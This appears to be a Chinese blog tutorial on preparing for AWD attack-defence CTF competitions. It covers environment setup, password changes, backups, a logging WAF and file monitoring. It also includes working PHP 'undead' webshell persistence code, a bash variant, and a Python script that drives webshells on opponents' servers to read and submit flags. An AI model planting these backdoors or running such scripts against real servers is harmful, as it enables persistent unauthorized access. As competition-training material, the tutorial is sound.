0X00 前言
安洵杯线下一脸懵逼,西石油线下毫无悬念被打爆,于是有了整理实践线下文章资料的念头,同时也感谢 DOg3@Ph0rse 的分享。萌新文章,大佬们可以不用care了。
0x01 关于线下
AWD模式:Attack With Defence,攻击中防御,比赛中每个队伍维护多台服务器,服务器中存在多个漏洞,利用漏洞攻击其他队伍可以进行得分,修复漏洞可以避免被其他队伍攻击失分。
高地模式:每只队伍服务器可以访问,没有权限,需要自己去获取权限。同时存在高地服务器,不属于任何一支队伍,每只队伍竞争高地服务器权限。
域渗透:Windows AD 域环境,更贴近实战
更加详细可参见:https://ctf-wiki.github.io/ctf-wiki/introduction/mode/#-attack-defense
0X02 环境搭建
AWD 线下赛个人觉得主要靠平时的积累和脚本的编写,引用彭哥的话来说,没经验打不过别人导致得不到锻炼就造成了恶性循环,所以平时能自己搭建环境训练是很有必要的。
这里选用一套开源的框架,采用docker,内含多个环境及环境对应 write up,也可以自己搭建,框架有一点小毛病,但并不影响使用。
https://github.com/zhl2008/awd-platform
简要步骤(详细可查看手册):
1 2 3 4 5 6 7 8 9 10 11 12 13
| git clone https://github.com/zhl2008/awd-platform.git
docker pull zhl2008/web_14.04 docker tag zhl2008/web_14.04 web_14.04
python batch.py web_dir team_number
python start.py ./ team_number for example: python start.py ./ 5
docker exec check_server python check.py
|
这里开启了4个队伍,Web 服务对应 8801,8802,8803,8804 端口
0X03 Attack With Defence
1. 修改ssh密码
2. 修改数据库密码及备份数据库(以 mysql 为例)
修改 mysql 密码
1 2 3 4 5 6 7 8 9 10 11 12
| 1. 登录 mysql 终端,运行: mysql> set password=password('new password'); mysql>flush privileges; 2. 修改 mysql user 表 mysql>use mysql; mysql>update user set password=password('new password') where user='root'; mysql>flush privileges; 3. 使用 GRANT 语句 mysql>GRANT ALL PRIVILEGES ON *.* TO 'root'@'127.0.0.1' IDENTIFIED BY 'new password' WITH GRANT OPTION; mysql>flush privileges; 4. mysqladmin [root@ubuntu]# mysqladmin -u root password "new password";(注意双引号或不加)
|
备份指定的多个数据库
[root@ubuntu]# mysqldump -u root -p --databases databasesname > /tmp/db.sql
数据库恢复,在mysql终端下执行
1 2
| source ~/db.sql(原数据库需存在)
|
比赛前一定要快速修改密码和备份,否则密码被别人更改需要重置环境就尴尬了,修改数据库密码后注意修改源码配置文件,避免服务崩溃。同时赛前也可以准备些例如 phpmyadmin 的批量爆破和改密的脚本。
3. 源码备份
1 2 3 4
| # 打包目录 tar -zcvf archive_name.tar.gz directory_to_compress # 解包 tar -zxvf archive_name.tar.gz
|
之后使用 scp 命令或者 winscp,mobaxterm 等工具下载打包后的源码
4. 上 WAF
备份好源码之后要做的就是监控访问,截取攻击向量,做好流量重放的准备。一般的 WAF 只需要做到记录访问的基本信息如时间,ip,get,post,cookie,UA即可。也可以自行编写通防 WAF,功能如关键字检测,截取上传文件内容等。
但一般通防 WAF 会影响主办方 check,使用需谨慎,同时注意上 WAF 崩溃的问题。
可以使用 bash 命令在每一个 php 文件前面加上 require_once
包含 WAF 文件
1 2
| # 批量加waf /var/www/html/ 目录下每个 php 文件前加上 <?php require_once "/tmp/waf.php";?> find /var/www/html/ -path /var/www/html/124687a7bc37d57cc9ecd1cbd9d676f7 -prune -o -type f -name '*.php'|xargs sed -i '1i<?php require_once "/tmp/waf.php";?>'
|
也可以修改 php.ini 的 auto_prepend_file 属性,但一般不会有重启 php 服务权限
1 2 3
| ; Automatically add files before PHP document. ; http://php.net/auto-prepend-file auto_prepend_file = /tmp/waf.php
|
附上郁离歌的一枚 WAF,会在 /tmp/loooooooogs
目录下生成日志文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <?php
error_reporting(0); define('LOG_FILEDIR','/tmp/loooooooogs'); if(!is_dir(LOG_FILEDIR)){ mkdir(LOG_FILEDIR); } function waf() { if (!function_exists('getallheaders')) { function getallheaders() { foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } return $headers; } } $get = $_GET; $post = $_POST; $cookie = $_COOKIE; $header = getallheaders(); $files = $_FILES; $ip = $_SERVER["REMOTE_ADDR"]; $method = $_SERVER['REQUEST_METHOD']; $filepath = $_SERVER["SCRIPT_NAME"]; foreach ($_FILES as $key => $value) { $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']); file_put_contents($_FILES[$key]['tmp_name'], "virink"); }
unset($header['Accept']); $input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);
logging($input);
}
function logging($var){ $filename = $_SERVER['REMOTE_ADDR']; $LOG_FILENAME = LOG_FILEDIR."/".$filename; $time = date("Y-m-d G:i:s"); file_put_contents($LOG_FILENAME, "\r\n".$time."\r\n".print_r($var, true), FILE_APPEND); file_put_contents($LOG_FILENAME,"\r\n".'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'], FILE_APPEND); file_put_contents($LOG_FILENAME,"\r\n***************************************************************",FILE_APPEND); }
waf(); ?>
|
生成的日志是 www-data 权限,一般 ctf 权限是删除不了的。上好 WAF 之后做好打包备份,除了源文件一份备份,我一般上好 WAF ,打好补丁还会做备份。
5. 文件监控
网上有很多文件监控的脚本,也可以使用 bash 命令自行查找出例如10分钟内修改过的 php 文件,这里推荐一个师傅的文件监控工具,文件相关操作都清晰明了。
https://github.com/TheKingOfDuck/FileMonitor
线下环境一般不能访问外网,所以需要提前下载好脚本和相关依赖,这个工具需要 watchdog
依赖,也是要提前准备的。
使用 touch
命令修改文件时间戳可以一定程度防范对文件的检测。
6. 权限维持——不死马
不死马也称内存马,删除掉木马之后,由于操作存于内存当中,还是会不断地生成木马,达到权限维持的目的。
6.1. 不死马使用
常规不死马,先删除自身,不断生成 .index.php
文件
1 2 3 4 5 6 7 8 9 10 11 12
| <?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = './.index.php'; $code = '<?php if(md5($_POST["pass"])=="3a50065e1709acc47ba0c9238294364f"){@eval($_POST[a]);} ?>';
while (1){ file_put_contents($file,$code); usleep(5000); } ?>
|
这里添加了一个密码 pass
防止别人借刀杀人,我们平时也可以编写自己的木马,别人就算拿到木马也不知道怎么利用,附上一句话木马的各种变形
http://www.secist.com/archives/1947.html
bash 命令不死马,效果也是不断生成 .index.php
文件,也可以使用命令不断创建 nc 后门
system('while true;do echo \'<?php if(md5($_GET[pass])==\"3a50065e1709acc47ba0c9238294364f\"){@eval($_GET[a]);} ?>\' >fuck.php;sleep 0.1;done;');
6.2. 不死马的克制
- 杀掉不死马运行的进程,直接删除脚本没用,因为php执行的时候已经把脚本读进去解释成opcode运行了
ps aux
查看运行的进程
www-data 权限运行了 4 个 apache 进程,不死马随机运行于这 4 个进程,直接 kill pid
(www-data 权限下)全部杀掉这几个进程就可以了
可以使用 kill -9 -1
杀死当前用户所有进程(有权限下慎用),也可以直接 killall apache2
杀掉 apache 所有子进程
- 重启 apache,php 等web服务(一般不会有权限)
1 2
| service apache2 restart service php restart
|
用一个脚本竞争写入,脚本同不死马,usleep要低于对方不死马设置的值
创建一个和不死马生成的马一样名字的文件夹,测试了下需要先删除再创建文件夹
7. 自动提交
比赛中提交 flag 一般会带上队伍 token 和 flag,格式如下:
flag.php?token=teamtoken&flag=this_is_flag
获取 flag 一般有两种方式:
- flag 在根目录,直接
cat
读取 flag
- 在对方机器请求指定地址(curl)获取 flag
flag 每几分钟更换一轮,手动提交显然是不太可能的,需要提前准备自动获取,提交 flag 的脚本,并根据实际情况进行修改
下面这个脚本每两分钟获取一次 flag 并自动提交
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| import requests import re import time
url = "http://ip:" url1 = "" shell = "/includes/config.php?d=system" passwd = "c" port = "80" payload = {passwd: 'cat /flag'}
flag_server = "http://flag_server/flag_file.php?token=%s&flag=%s" teamtoken = "team1"
def submit_flag(target, teamtoken, flag): url = flag_server % (teamtoken, flag) pos = {} print "[+]Submitting flag:%s:%s" % (target, url) response = requests.post(url, data=pos) content = response.text print "[+]content:%s" % content if "success" in content: print "[+]Success!!" return True else: print "[-]Failed" return False
def flag(): f=open("webshelllist.txt","w") f1=open("firstround_flag.txt","w") for i in [8802,8803,8804]: url1=url+str(i)+shell try: print "------------------------------------" res=requests.post(url1,payload,timeout=1) if res.status_code == requests.codes.ok: print url1 + " connect shell sucess,flag is "+res.text print >>f1,url1+" connect shell sucess,flag is "+res.text print >>f,url1+","+passwd if re.match(r'hello world(\w+)', res.text): flag = re.match(r'hello world(\w+)', res.text).group(1) submit_flag(url1, teamtoken, flag) else: print "[-]Can not get flag" else: print "shell 404" except: print url1 + "connect shell failed" f.close() f1.close()
def timer(n): while True: flag() flag() flag() time.sleep(n)
timer(120)
|
附上 Rcoil 师傅线下攻防思维导图
0X04 参考链接
AWD线下赛脚本集合
CTF线下攻防赛总结-RcoIl